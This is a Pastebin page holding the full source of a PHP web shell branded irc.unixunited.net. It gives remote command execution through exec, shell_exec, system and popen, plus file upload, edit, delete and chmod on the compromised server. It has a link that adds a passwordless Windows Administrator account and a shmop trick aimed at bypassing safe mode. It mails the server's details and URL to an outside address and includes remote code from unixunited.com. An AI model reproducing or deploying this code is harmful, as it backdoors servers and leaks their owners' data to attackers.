parkdream1

shell.java.php

Feb 27th, 2012
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.02 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Language" content="pt-br">
  4. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  5. <meta name="ProgId" content="AoD">
  6. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  7. <title>$$haun$$=:+:=Irc.UnixUnited.Net=:+:=</title>
  8. <style type="text/css">
  9. A:link {text-decoration:none}
  10. A:visited {text-decoration:none}
  11. A:hover {text-decoration:underline}
  12. A:active {text-decoration:underline}
  13. body,td {
  14.     font-family: verdana;
  15.     font-size: 8pt;
  16.     background-color: #FFCC00;
  17. }
  18. a{
  19.     color: #0000FF;
  20.     text-decoration: none;
  21. }
  22. a:hover {
  23.     color: #FF0000;
  24.     text-decoration: underline;
  25. }
  26. </style>
  27. </head>
  28. <body style="background-color: #008080" >
  29. <center><h2> --==irc.unixunited.net==-- </h2></center>
  30. <?php
  31.  
  32.  @set_time_limit(0);
  33.  
  34.  $string = $_SERVER['QUERY_STRING'];
  35.  $mhost = 'http://www.unixunited.com/shell.txt?';
  36.  $host_all = explode("$mhost", $string);
  37.  $s1 = $host_all[0];
  38.  $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
  39.  
  40.  $OS = @PHP_OS;
  41.  $IpServer = '127.0.0.1';
  42.  $UNAME = @php_uname();
  43.  $PHPv = @phpversion();
  44.  $SafeMode = @ini_get('safe_mode');
  45.  
  46.  if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
  47.  else { $SafeMode = "<i>$SafeMode</i>"; }
  48.  
  49.  $btname = 'backtool.txt';
  50.  $bt = 'http://www.unixunited.com/shell.txt';
  51.  $dc = 'http://www.unixunited.com/shell.txt';
  52.  $newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup
  53.  
  54. &quot;Administrators&quot; /add Admin;net localgroup &quot;Users&quot; /del Admin';
  55.  $bn = 'http://www.unixunited.com/shell.txt';
  56. // Java Script
  57.  echo "<script type=\"text/javascript\">";
  58.  
  59.  echo "function ChMod(chdir, file) {";
  60.  echo "var o = prompt('Chmod: - Contoh: 0777', '');";
  61.  echo "if (o) {";
  62.  echo "window.location=\"\" + '{$fstring}&action=chmod&chdir=' + chdir + '&file=' + file +
  63.  
  64. '&chmod=' + o + \"\";";
  65.  echo "}";
  66.  echo "}";
  67.  echo "function Rename(chdir, file, mode) {";
  68.  echo "if (mode == 'edit') {";
  69.  echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
  70.  echo "}";
  71.  echo "else {";
  72.  echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
  73.  echo "}";
  74.  echo "if (o) {";
  75.  echo "window.location=\"\" + '{$fstring}&action=rename&chdir=' + chdir + '&file=' + file +
  76.  
  77. '&newname=' + o + '&mode=' + mode +\"\";";
  78.  echo "}";
  79.  echo "}";
  80.  echo "function Copy(chdir, file) {";
  81.  echo "var o = prompt('Copied for:', '/tmp/' + file);";
  82.  echo "if (o) {";
  83.  echo "window.location=\"\" + '{$fstring}&action=copy&chdir=' + chdir + '&file=' + file +
  84.  
  85. '&fcopy=' + o + \"\";";
  86.  echo "}";
  87.  echo "}";
  88.  echo "function Mkdir(chdir) {";
  89.  echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
  90.  echo "if (o) {";
  91.  echo "window.location=\"\" + '{$fstring}&action=mkdir&chdir=' + chdir + '&newdir=' + o +
  92.  
  93. \"\";";
  94.  echo "}";
  95.  echo "}";
  96.  echo "function Newfile(chdir) {";
  97.  echo "var o = prompt('Nama File?', 'File_Baru.txt');";
  98.  echo "if (o) {";
  99.  echo "window.location=\"\" + '{$fstring}&action=newfile&chdir=' + chdir + '&newfile=' + o +
  100.  
  101. \"\";";
  102.  echo "}";
  103.  echo "}";
  104.  echo "</script>";
  105.  
  106.  // End JavaScript
  107.  
  108.     /* Functions */
  109.     function cmd($CMDs) {
  110.         $CMD[1] = '';
  111.         exec($CMDs, $CMD[1]);
  112.         if (empty($CMD[1])) {
  113.             $CMD[1] = shell_exec($CMDs);
  114.         }
  115.             elseif (empty($CMD[1])) {
  116.             $CMD[1] = passthru($CMDs);
  117.         }
  118.         elseif (empty($CMD[1])) {
  119.             $CMD[1] = system($CMDs);
  120.         }
  121.         elseif (empty($CMD[1])) {
  122.             $handle = popen($CMDs, 'r');
  123.             while(!feof($handle)) {
  124.                 $CMD[1][] .= fgets($handle);
  125.             }
  126.             pclose($handle);
  127.         }
  128.         return $CMD[1];
  129.     }
  130.  
  131. if (@$_GET['chdir']) {
  132.  $chdir = $_GET['chdir'];
  133. } else {
  134.    $chdir = getcwd()."/";
  135.   }
  136. if (@chdir("$chdir")) {
  137.  $msg = "<font color=\"#008000\"> Masuk ke Direktori, OK!</font>";
  138. } else {
  139.  $msg = "<font color=\"#FF0000\">Error: Gagal masukkan ke folder!</font>";
  140.  $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
  141. }
  142.  $chdir = str_replace(chr(92), chr(47), $chdir);
  143.  
  144. if (@$_GET['action'] == 'upload') {
  145.  $uploaddir = $chdir;
  146.  $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  147.  if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .
  148.  
  149. $_FILES['userfile']['name'])) {
  150.   $msg = "<font color=\"#008000\"><font
  151.  
  152. color=\"#000080\">{$_FILES['userfile']['name']}</font>, Upload File Berjaya.
  153.  
  154. </font>";
  155.  } else {
  156.     $msg = "<font color=\"#FF0000\">Error: Upload File Gagal.</font>";
  157.    }
  158. }
  159. elseif (@$_GET['action'] == 'mkdir') {
  160.     $newdir = $_GET['newdir'];
  161.     if (@mkdir("$chdir"."$newdir")) {
  162.      $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newdir}</font>, folder
  163.  
  164. berhasil dibuat. </font>";
  165.     } else {
  166.        $msg = "<font color=\"#FF0000\">Error: Pembuatan folder gagal.</font>";
  167.       }
  168. }
  169. elseif (@$_GET['action'] == 'newfile') {
  170.     $newfile = $_GET['newfile'];
  171.     if (@touch("$chdir"."$newfile")) {
  172.      $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newfile}</font>, berhasil
  173.  
  174. dibuat! </font>";
  175.     } else {
  176.        $msg = "<font color=\"#FF0000\">Error: Tak Boleh Buat File!</font>";
  177.       }
  178. }
  179.  
  180. elseif (@$_GET['action'] == 'del') {
  181.      $file = $_GET['file']; $type = $_GET['type'];
  182.      if ($type == 'file') {
  183.       if (@unlink("$chdir"."$file")) {
  184.        $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
  185.  
  186. menghapus arsip (file)!</font>";
  187.       } else {
  188.          $msg = "<font color=\"#FF0000\">Error: Gagal menghapuskan File (file)!</font>";
  189.         }
  190.      } elseif ($type == 'dir') {
  191.         if (@rmdir("$chdir"."$file")) {
  192.           $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
  193.  
  194. menghapus folder!</font>";
  195.         } else {
  196.            $msg = "<font color=\"#FF0000\">Error: Gagal menghapuskan folder!</font>";
  197.           }
  198.        }
  199. }
  200. elseif (@$_GET['action'] == 'chmod') {
  201.      $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
  202.      if (@chmod ("$file", $chmod)) {
  203.  
  204.       $msg = "<font color=\"#008000\">Chmod dari</font> <font
  205.  
  206. color=\"#000080\">{$_GET['file']}</font> <font color=\"#008000\">berubah menjadi</font>
  207.  
  208. <font color=\"#000080\">$chmod</font> <font color=\"#008000\">: Sukses!</font>";
  209.      } else {
  210.         $msg = '<font color=\"#FF0000\">Error: Gagal mengubah chmod.</font>';
  211.        }
  212. }
  213. elseif (@$_GET['action'] == 'rename') {
  214.      $file = $_GET['file']; $newname = $_GET['newname'];
  215.      if (@rename("$chdir"."$file", "$chdir"."$newname")) {
  216.       $msg = "<font color=\"#008000\">Archive</font> <font color=\"#000080\">{$file}</font>
  217.  
  218. <font color=\"#008000\">named for</font> <font color=\"#000080\">{$newname}</font> <font
  219.  
  220. color=\"#008000\">successfully!</font>";
  221.      } else {
  222.         $msg = "<font color=\"#FF0000\">Error: Gagal menukar File.</font>";
  223.        }
  224. }
  225. elseif (@$_GET['action'] == 'copy') {
  226.     $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
  227.     if (@copy("$file", "$copy")) {
  228.      $msg = "<font color=\"#000080\">{$file}</font>, <font color=\"#008000\">disalin
  229.  
  230. menjadi</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">
  231.  
  232. Berhasil!</font>";
  233.     } else {
  234.        $msg = "<font color=\"#FF0000\">Error: Gagal menyalin </font> <font
  235.  
  236. color=\"#000000\">{$file}</font> <font color=\"#FF0000\">menjadi</font> <font
  237.  
  238. color=\"#000000\">{$copy}</font></font>";
  239.       }
  240. }
  241. /* Parte Atualiza 02:48 12/2/2006 */
  242.  
  243. elseif (@$_GET['action'] == 'cmd') {
  244.     if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
  245.     if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
  246.     $cmd = stripslashes(trim($cmd));
  247.     $result_arr = cmd($cmd);
  248.    
  249.     $afim = count($result_arr); $acom = 0; $msg = '';
  250.     $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida
  251.  
  252. Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b></p>";
  253.     if ($result_arr) {
  254.         while ($acom <= $afim) {
  255.             $msg .= "<p style=\"color: #008000;text-align: left;font-family:
  256.  
  257. 'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."</p>";
  258.         $acom++;
  259.         }
  260.     }
  261.     else {
  262.         $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida
  263.  
  264. Console';font-size: 12px;margin 2\">Error: Gagal Menjalankan perintah.</p>";
  265.     }
  266. }
  267. elseif (@$_GET['action'] == 'safemode') {
  268. if (@!extension_loaded('shmop')) {
  269.  echo "Loading... module</br>";
  270.  
  271.     if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
  272.         @dl('php_shmop.dll');
  273.     } else {
  274.         @dl('shmop.so');
  275.     }
  276. }
  277.  
  278. if (@extension_loaded('shmop')) {
  279.  echo "Module: <b>shmop</b> loaded!</br>";
  280.  
  281.  $shm_id = @shmop_open(0xff2, "c", 0644, 100);
  282.  if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
  283.  $data="\x00";
  284.  $offset=-3842685;
  285.  $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
  286.  if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of
  287.  
  288. data\n"; }
  289.  if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; }
  290.  echo passthru("id");
  291.  shmop_close($shm_id);
  292.  
  293.  
  294. } else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
  295. }
  296.  
  297. elseif (@$_GET['action'] == 'zipen') {
  298.  $file = $_GET['file'];
  299.  $zip = @zip_open("$chdir"."$file");
  300.  $msg = '';
  301. if ($zip) {
  302.  
  303.     while ($zip_entry = zip_read($zip)) {
  304.         $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
  305.         $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
  306.         $msg .= "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
  307.         $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";
  308.  
  309.         if (zip_entry_open($zip, $zip_entry, "r")) {
  310.             echo "File Contents:\n";
  311.             $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
  312.             echo "$buf\n";
  313.  
  314.             zip_entry_close($zip_entry);
  315.         }
  316.         echo "\n";
  317.  
  318.     }
  319.  
  320.     zip_close($zip);
  321.  
  322. }
  323. }
  324. elseif (@$_GET['action'] == 'edit') {
  325.  $file = $_GET['file'];
  326.  $conteudo = '';
  327.  $filename = "$chdir"."$file";
  328.  $conteudo = @file_get_contents($filename);
  329.  $conteudo = htmlspecialchars($conteudo);
  330.  $back = $_SERVER['HTTP_REFERER'];
  331.  echo "<p align=\"center\">Editing {$file} ...</p>";
  332.  echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
  333.  
  334. collapse\" width=\"100%\" id=\"editacao\">";
  335.  echo "<tr>";
  336.  echo "<td width=\"100%\">";
  337.  echo "<form method=\"POST\"
  338.  
  339. action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
  340.  echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"
  341.  
  342. s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
  343.  print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana;
  344.  
  345. font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea></p>";
  346.  echo "<p align=\"center\">";
  347.  echo "<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border: 1px solid
  348.  
  349. #000000\"> ";
  350.  echo "<input type=\"button\" value=\"Tutup\"
  351.  
  352. Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\" name=\"B1\" style=\"  
  353.  
  354. border: 1px solid #000000\"> ";
  355.  echo "</form>";
  356.  echo "</td>";
  357.  echo "</tr>";
  358.  echo "</table>";
  359. }
  360. elseif (@$_GET['action'] == 'save') {
  361.    $filename = "$chdir".$_GET['file'];
  362.    $somecontent = $_POST['S1'];
  363.    $somecontent = stripslashes(trim($somecontent));
  364.    if (is_writable($filename)) {
  365.     @$handle = fopen ($filename, "w");
  366.     @$fw = fwrite($handle, $somecontent);
  367.     @fclose($handle);
  368.     if ($handle && $fw) {
  369.      $msg = "<font color=\"#000080\">{$_GET['file']}</font>, <font
  370.  
  371. color=\"#008000\">berhasil diedit!</font>";
  372.     }
  373.  } else {
  374.     $msg = "<font color=\"#000000\">{$_GET['file']},</font> <font color=\"#FF0000\">tidak
  375.  
  376. bisa ditulisi!</font>";
  377.    }
  378. }
  379.  
  380. // Informa?s
  381.  $cmdget = '';
  382.  if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
  383.  if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
  384.  $cmdget = htmlspecialchars($cmdget);
  385.  function asdads() {
  386.   $asdads = '';
  387.   if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
  388.   if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
  389.   if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
  390.   if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
  391.   if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
  392.   return $asdads;
  393.  }
  394.  
  395. echo "<form method=\"POST\" name=\"cmd\"
  396.  
  397. action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
  398. echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">";
  399. echo "<legend>Informasi</legend>";
  400. echo "<br><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
  401.  
  402. collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
  403. echo "<tr>";
  404. echo "<td width=\"8%\">";
  405. echo " <b>Sistem </b> </td> ";
  406. echo "<td width=\"92%\">: {$OS}</td>";
  407. echo "</tr>";
  408. echo "<tr>";
  409. echo "<td width=\"8%\">";
  410. echo " <b>Nama </b></td> ";
  411. echo "<td width=\"92%\">: {$UNAME}</td>";
  412. echo "</tr>";
  413. echo "<tr>";
  414. echo "<td width=\"8%\">";
  415. echo " <b>PHP </b></td> ";
  416. echo "<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>";
  417. echo "</tr>";
  418.  if (strtoupper(substr($OS, 0,3) != 'WIN')) {
  419.   $Methods = asdads();
  420.   if ($Methods == '') { $Methods = "???"; }
  421.   echo "<tr>";
  422.   echo "<td width=\"8%\">";
  423.   echo "<b>Methods </b></td> ";
  424.   echo "<td width=\"92%\">: {$Methods}</td>";
  425.   echo "</tr>";
  426.  }
  427.  
  428. echo "<tr>";
  429. echo "<td width=\"8%\">";
  430. echo " <b>IP </b></td> ";
  431. echo "<td width=\"92%\">: {$IpServer}</td>";
  432. echo "</tr>";
  433. echo "<tr>";
  434. echo "<td width=\"8%\">";
  435. echo " <b>Perintah </b></td> ";
  436. echo "<td width=\"92%\">: <input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\"
  437.  
  438. style=\" font-size: 8 pt; border: 1px solid #000000\"> <input type=\"submit\"
  439.  
  440. name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid
  441.  
  442. #000000\"></td>";
  443. echo "</tr>";
  444. echo "</table><br>";
  445. echo "</fieldset></form>";
  446. // Dir
  447.  
  448. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"
  449.  
  450. enctype=\"multipart/form-data\">";
  451. echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"
  452.  
  453. s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid
  454.  
  455. #000000; padding: 2\">";
  456. if (is_writable("$chdir")) {
  457.  if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  458.   echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
  459.  
  460. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  461.  
  462. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  463.  
  464. href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote
  465.  
  466. Access</a></legend>";
  467.  } else {
  468.     echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
  469.  
  470. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  471.  
  472. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  473.  
  474. href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend
  475.  
  476. >";
  477.    }
  478. }
  479. else {
  480. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  481.   echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
  482.  
  483. onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"
  484.  
  485. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  486.  
  487. href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote
  488.  
  489. Access</a></legend>";
  490.  } else {
  491.     echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
  492.  
  493. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  494.  
  495. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  496.  
  497. href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>
  498.  
  499. ";
  500.    }
  501. }
  502.  
  503. if (@!$handle = opendir("$chdir")) {
  504.  echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a> untuk Kembali ke folder ori!</br>";
  505. }
  506. else {
  507. echo "  <table border=\"0\" cellpadding=\"5\" cellspacing=\"0\" width=\"100%\">";
  508. echo "    <tr>";
  509. echo "      <td width=\"100%\" colspan=\"4\"> Upload:";
  510. echo "      <input type=\"file\" name=\"userfile\" size=\"65\" style=\"  border-style:
  511.  
  512. solid; border-width: 1\">";
  513. echo "      <input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\" border: 1px solid
  514.  
  515. #000000\"></td>";
  516. echo "    </tr>";
  517. echo "    <tr>";
  518. echo "      <td width=\"100%\" colspan=\"4\"> </td>";
  519. echo "    </tr>";
  520. echo "    <tr>";
  521. echo "      <td width=\"100%\" colspan=\"4\">";
  522. if (@!$msg) {
  523.  echo "      <p align=\"left\">Messages</td>";
  524. } else {
  525.    echo "      <p align=\"left\">$msg</td>";
  526.   }
  527. echo "    </tr>";
  528. echo "    <tr>";
  529. echo "      <td width=\"100%\" colspan=\"4\"> </td>";
  530. echo "    </tr></table> ";
  531. echo "   <table border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">";
  532. echo "    <tr bgcolor=\"#FF6600\" align=\"center\"> ";
  533. echo "      <td > Permision</td>";
  534. echo "      <td > Nama File </td>";
  535. echo "      <td > Kapasiti </td>";
  536. echo "      <td > Perintah</td>";
  537. echo "     </tr>";
  538. $colorn = 0;
  539.     while (false !== ($file = readdir($handle))) {
  540.         if ($file != '.') {
  541.             if ($colorn == 0) {
  542.              $color = "style=\"background-color: #FF9900\"";
  543.             }
  544.             elseif ($colorn == 1) {
  545.              $color = "style=\"background-color:  #FFCC33\"";
  546.             }        
  547.             if (@is_dir("$chdir"."$file")) {
  548.              $file = $file.'/';
  549.              $mode = 'chdir';
  550.             } else {
  551.                $mode = 'edit';
  552.              }
  553.             if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
  554.               $chdir .= '/';
  555.             }
  556.             if ($file == '../') {
  557.              $lenpath = strlen($chdir); $baras = 0;
  558.              for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } }
  559.              $chdir_ = explode("/", $chdir);
  560.              $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
  561.             }
  562.             $perms = @fileperms ("$chdir"."$file");
  563.             if ($perms == '') {
  564.              $perms = '???';
  565.             }
  566.             $size = @filesize ("$chdir"."$file");
  567.             $size = $size / 1024;
  568.             $size = explode(".", $size);
  569.             if (@$size[1] != '') {
  570.              $size = $size[0].'.'.@substr("$size[1]", 0, 2);
  571.             } else {
  572.                $size = $size[0];
  573.              }
  574.             if ($size == 0) {
  575.              if ($mode == 'chdir') {
  576.               $size = '???';
  577.              }
  578.             }
  579.             echo "<tr>";
  580.         echo "<td align=\"center\" $color> $perms</td>";
  581.             if (@is_writable ("$chdir"."$file")) {
  582.              if ($mode == 'chdir') {
  583.               if ($file == '../') {
  584.                echo "<td $color> <b><a href=\"{$fstring}&amp;chdir=$chdirpox\"><font
  585.  
  586. color=\"#008000\">$file</font></a></b> </td>";
  587.               } else {
  588.                  echo "<td $color> <b><a href=\"{$fstring}&amp;chdir={$chdir}{$file}\"><font
  589.  
  590. color=\"#008000\">$file</font></a> </b></td>";                
  591.                 }
  592.              } else {
  593.         if (is_readable("$chdir"."$file")) {
  594.                  echo "<td $color> <a
  595.  
  596. href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a> </td>";
  597.                 } else {
  598.                    echo "<td $color> $file </td>";
  599.                   }
  600.                }
  601.             }
  602.            else {
  603.              if ($mode == 'chdir') {
  604.               if ($file == '../') {
  605.                echo "<td $color> <a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
  606.  
  607. </td>";
  608.               } else {
  609.                  echo "<td $color> <a
  610.  
  611. href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>";                
  612.                }
  613.              } else {
  614.         if (@is_readable("$chdir"."$file")) {
  615.                  echo "<td  $color> <a
  616.  
  617. href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a> </td>";
  618.                 } else {
  619.                    echo "<td $color> $file</td>";
  620.                  }
  621.                }
  622.              }
  623.             echo "<td align=\"right\" $color> $size KB</td>";
  624.             if ($mode == 'edit') {
  625.              echo "<td align=\"center\" $color> <a href=\"#{$file}\"
  626.  
  627. onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a
  628.  
  629. href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>
  630.  
  631. | <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a href=\"#{$file}\"
  632.  
  633. onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>";
  634.             } else {
  635.                echo "<td align=\"center\" $color> <a href=\"#{$file}\"
  636.  
  637. onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a
  638.  
  639. href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>
  640.  
  641. | <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy </td>";
  642.               }  
  643.             echo "</tr>";
  644.             if ($colorn == 0) {
  645.              $colorn = 1;
  646.             }
  647.             elseif ($colorn == 1) {
  648.              $colorn = 0;
  649.             }
  650.         }
  651.     }
  652.     closedir($handle);
  653. }
  654.  
  655.   $OS = @PHP_OS;
  656.   $UNAME = @php_uname();
  657.   $PHPv = @phpversion();
  658.   $SafeMode = @ini_get('safe_mode');
  659.  
  660.   if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
  661.   else { $SafeMode = "<i>$SafeMode</i><BR>"; }
  662.  
  663.    
  664.   $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  665.  
  666.   $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " . $PHPv . "<BR>Safe
  667.  
  668. Mode = " . $SafeMode . "<BR><font color=blue>http://" . $injek . "</font><BR>Bang..bang..Minta seribu bang...<BR>By: UnixUNited");
  669.  
  670.   $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To: $replyto\r\n";
  671.   $header .= "MIME-Version: 1.0\r\n";
  672.   If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  673.   If ($file_name) $header .= "--$uid\r\n";
  674.   $header .= "Content-Type: text/$contenttype\r\n";
  675.   $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  676.   $header .= "$message\r\n";
  677.   If ($file_name) $header .= "--$uid\r\n";
  678.   If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  679.   If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  680.   If ($file_name) $header .= "Content-Disposition: attachment;
  681.  
  682. filename=\"$file_name\"\r\n\r\n";
  683.   If ($file_name) $header .= "$content\r\n";
  684.   If ($file_name) $header .= "--$uid--";
  685.   $to = ("[email protected]");
  686.   $subject = ("injeck");
  687.   mail($to,$subject,$psn,$header);
  688.  
  689. @include "$bn";
  690. ?>
  691.   </table>
  692.   </fieldset></form>
  693. </div>
  694. </body>
  695.  
  696. </html>
Add Comment
Please, Sign In to add comment